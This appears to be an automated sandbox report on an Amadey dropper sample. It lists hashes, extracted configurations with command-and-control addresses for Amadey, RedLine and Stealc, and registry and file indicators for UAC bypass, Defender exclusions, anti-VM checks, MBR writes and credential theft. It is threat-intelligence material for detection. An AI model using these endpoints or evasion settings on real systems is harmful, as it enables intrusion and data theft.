amadey | b097d587bcd2e7250cba4c4048e6c22ab00a662b8d45dbff9d7a8ac500b22696

Analysis

max time kernel
148s
max time network
144s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
29/05/2024, 22:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b097d587bcd2e7250cba4c4048e6c22ab00a662b8d45dbff9d7a8ac500b22696.exe
Size

1.8MB
MD5

e233413f3e354acc52ee4975bb82d590
SHA1

40b53bf535aff421917c07e71d2885c67988038d
SHA256

b097d587bcd2e7250cba4c4048e6c22ab00a662b8d45dbff9d7a8ac500b22696
SHA512

7519fc119212d7c690dd581c681f1688e5483d71d9b97e0e52e8fdbd39826e7c62180666d4d821b91bacbc2c6384c1de9a252cbfaf9f47ad9c129e720e41fa7f
SSDEEP

24576:kORgkwKReCjL7SpLkNB564KBnnq7ndUt8CP4tc+OBo+jYayeyC8QBi9DeN/iuJM9:5gkwseUWk0qRUg+jieYQkA4OjvYu2of

Score

10^/10

amadey privateloader redline stealc 1 49e482 @logscloudyt_bot zzvv bootkit discovery evasion execution infostealer loader persistence spyware stealer themida trojan

Malware Config

Extracted

Family

amadey

Version

4.21

Botnet

49e482

http://147.45.47.70

Attributes

install_dir
1b29d73536
install_file
axplont.exe
strings_key
4d31dd1a190d9879c21fac6d87dc0043
url_paths
/tr8nomy/index.php

rc4.plain

Extracted

Family

redline

Botnet

185.215.113.67:40960

Extracted

Family

redline

Botnet

@LOGSCLOUDYT_BOT

185.172.128.33:8970

Extracted

Family

stealc

Botnet

zzvv

http://23.88.106.134

Attributes

url_path
/c73eed764cc59dcb.php

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Modifies firewall policy service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	x52GNVvtBNmOhfbMxPDeXfhs.exe

PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
loader privateloader
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 4 IoCs

resource	yara_rule
behavioral2/files/0x0002000000025c69-47.dat	family_redline
behavioral2/memory/4668-61-0x0000000000890000-0x00000000008E2000-memory.dmp	family_redline
behavioral2/files/0x0002000000025c67-68.dat	family_redline
behavioral2/memory/2928-84-0x00000000008A0000-0x00000000008F2000-memory.dmp	family_redline

Stealc
Stealc is an infostealer written in C++.
stealer stealc

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe

Windows security bypass 2 TTPs 3 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1"	x52GNVvtBNmOhfbMxPDeXfhs.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe = "0"	file300un.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	b097d587bcd2e7250cba4c4048e6c22ab00a662b8d45dbff9d7a8ac500b22696.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplont.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	x52GNVvtBNmOhfbMxPDeXfhs.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplont.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplont.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
92	2872	rundll32.exe
103	4556	rundll32.exe
104	4556	rundll32.exe
105	4556	rundll32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2648	powershell.exe
1880	powershell.exe
2340	powershell.EXE
1428	powershell.exe
4496	powershell.exe
4484	powershell.exe
4428	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 12 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplont.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	b097d587bcd2e7250cba4c4048e6c22ab00a662b8d45dbff9d7a8ac500b22696.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplont.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	x52GNVvtBNmOhfbMxPDeXfhs.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplont.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplont.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	b097d587bcd2e7250cba4c4048e6c22ab00a662b8d45dbff9d7a8ac500b22696.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplont.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	x52GNVvtBNmOhfbMxPDeXfhs.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplont.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000\Control Panel\International\Geo\Nation	jPlxNKH.exe

Drops startup file 6 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Task Manager.lnk	McPfBpFwwIGOn8gtcfGtNwBE.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yJzCsHvDhPrGqYMf2HBm3N2U.bat	installutil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NJhyEQ2EGb20iaQfi33ragc9.bat	installutil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\X4FkPev7yw6hyWmwaSrdmosS.bat	installutil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1eqWkO5SYJmitliBG3DtsHlI.bat	installutil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vG1NMKFU2CgfaHu3eixv3IJH.bat	installutil.exe

Executes dropped EXE 20 IoCs

pid	Process
1404	axplont.exe
1268	33333.exe
4668	fileosn.exe
2928	svhoost.exe
1548	One.exe
568	lumma1234.exe
4792	gold.exe
644	swizzzz.exe
1420	file300un.exe
4380	lM9iCuWvZg8YCzg9l0R8NoYM.exe
484	x52GNVvtBNmOhfbMxPDeXfhs.exe
2764	axplont.exe
4756	flcK958FZrRqTuI62e4bCLsZ.exe
2648	Install.exe
4776	Install.exe
3992	McPfBpFwwIGOn8gtcfGtNwBE.exe
1976	Install.exe
1440	jPlxNKH.exe
4916	axplont.exe
4892	axplont.exe

Identifies Wine through registry keys 2 TTPs 4 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000\Software\Wine	b097d587bcd2e7250cba4c4048e6c22ab00a662b8d45dbff9d7a8ac500b22696.exe
Key opened	\REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000\Software\Wine	axplont.exe
Key opened	\REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000\Software\Wine	axplont.exe
Key opened	\REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000\Software\Wine	axplont.exe

Loads dropped DLL 3 IoCs

pid	Process
4380	lM9iCuWvZg8YCzg9l0R8NoYM.exe
2872	rundll32.exe
4556	rundll32.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 7 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x0002000000025ca1-294.dat	themida
behavioral2/memory/484-301-0x0000000140000000-0x000000014159C000-memory.dmp	themida
behavioral2/memory/484-302-0x0000000140000000-0x000000014159C000-memory.dmp	themida
behavioral2/memory/484-304-0x0000000140000000-0x000000014159C000-memory.dmp	themida
behavioral2/memory/484-303-0x0000000140000000-0x000000014159C000-memory.dmp	themida
behavioral2/memory/484-305-0x0000000140000000-0x000000014159C000-memory.dmp	themida
behavioral2/memory/484-361-0x0000000140000000-0x000000014159C000-memory.dmp	themida

Windows security modification 2 TTPs 4 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe = "0"	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1"	x52GNVvtBNmOhfbMxPDeXfhs.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	file300un.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	x52GNVvtBNmOhfbMxPDeXfhs.exe

Drops Chrome extension 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	jPlxNKH.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	jPlxNKH.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	Install.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
19	pastebin.com
29	pastebin.com

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
65	api.myip.com
65	ipinfo.io
66	api.myip.com
67	ipinfo.io

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	lM9iCuWvZg8YCzg9l0R8NoYM.exe

Drops file in System32 directory 38 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	jPlxNKH.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	jPlxNKH.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_242CEA72AD255CEF17D8B88AD3038326	jPlxNKH.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	rundll32.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	jPlxNKH.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	jPlxNKH.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	jPlxNKH.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_05B056B983E25E9B4D43BC3D9283D686	jPlxNKH.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	jPlxNKH.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	jPlxNKH.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	jPlxNKH.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	jPlxNKH.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	jPlxNKH.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	jPlxNKH.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	jPlxNKH.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_91E41FAE8B0B67645773C1C9A8DB10E4	jPlxNKH.exe
File opened for modification	C:\Windows\System32\GroupPolicy	x52GNVvtBNmOhfbMxPDeXfhs.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	x52GNVvtBNmOhfbMxPDeXfhs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	x52GNVvtBNmOhfbMxPDeXfhs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	jPlxNKH.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	jPlxNKH.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	jPlxNKH.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	x52GNVvtBNmOhfbMxPDeXfhs.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_242CEA72AD255CEF17D8B88AD3038326	jPlxNKH.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	jPlxNKH.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E52E4DB9468EB31D663A0754C2775A04	jPlxNKH.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E52E4DB9468EB31D663A0754C2775A04	jPlxNKH.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_05B056B983E25E9B4D43BC3D9283D686	jPlxNKH.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	jPlxNKH.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_91E41FAE8B0B67645773C1C9A8DB10E4	jPlxNKH.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
240	b097d587bcd2e7250cba4c4048e6c22ab00a662b8d45dbff9d7a8ac500b22696.exe
1404	axplont.exe
484	x52GNVvtBNmOhfbMxPDeXfhs.exe
484	x52GNVvtBNmOhfbMxPDeXfhs.exe
2764	axplont.exe
4916	axplont.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 1268 set thread context of 4916	1268	33333.exe	80
PID 568 set thread context of 1552	568	lumma1234.exe	91
PID 4792 set thread context of 2176	4792	gold.exe	93
PID 644 set thread context of 1428	644	swizzzz.exe	95
PID 1420 set thread context of 1188	1420	file300un.exe	104

Drops file in Program Files directory 14 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\JipyTrDkU\NaPVCK.dll	jPlxNKH.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	jPlxNKH.exe
File created	C:\Program Files (x86)\JipyTrDkU\oheNuSF.xml	jPlxNKH.exe
File created	C:\Program Files (x86)\krdeMCnRKomDOvwVunR\ZzrJhov.dll	jPlxNKH.exe
File created	C:\Program Files (x86)\krdeMCnRKomDOvwVunR\eonLlTf.xml	jPlxNKH.exe
File created	C:\Program Files (x86)\YLgKyOFzWxOqC\CCwhWnP.dll	jPlxNKH.exe
File created	C:\Program Files (x86)\YLgKyOFzWxOqC\IVsOEdO.xml	jPlxNKH.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	jPlxNKH.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	jPlxNKH.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	jPlxNKH.exe
File created	C:\Program Files (x86)\tegRANPZONsU2\MnQUerE.xml	jPlxNKH.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	jPlxNKH.exe
File created	C:\Program Files (x86)\tegRANPZONsU2\RNsaRPjVpClKS.dll	jPlxNKH.exe
File created	C:\Program Files (x86)\nFLFFjqrQPUn\YbVgoQK.dll	jPlxNKH.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\WKALCIrwIEiqhKBsn.job	schtasks.exe
File created	C:\Windows\Tasks\jiLwFdOzPPQiWLm.job	schtasks.exe
File created	C:\Windows\Tasks\QdCYtDviHOrgqJLgZ.job	schtasks.exe
File created	C:\Windows\Tasks\axplont.job	b097d587bcd2e7250cba4c4048e6c22ab00a662b8d45dbff9d7a8ac500b22696.exe
File created	C:\Windows\Tasks\bqGGCwwWIommTRgeuN.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 5 IoCs

pid	pid_target	Process	procid_target
4232	1268	WerFault.exe	79
2644	4792	WerFault.exe	92
4824	1976	WerFault.exe	152
1804	4776	WerFault.exe	116
2672	1440	WerFault.exe	241

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe

Creates scheduled task(s) 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
112	schtasks.exe
1768	schtasks.exe
1780	schtasks.exe
1316	schtasks.exe
2416	schtasks.exe
1928	schtasks.exe
1488	schtasks.exe
4684	schtasks.exe
5028	schtasks.exe
1356	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1880	timeout.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{4e376879-0000-0000-0000-d01200000000}\NukeOnDelete = "0"	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	jPlxNKH.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{4e376879-0000-0000-0000-d01200000000}	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
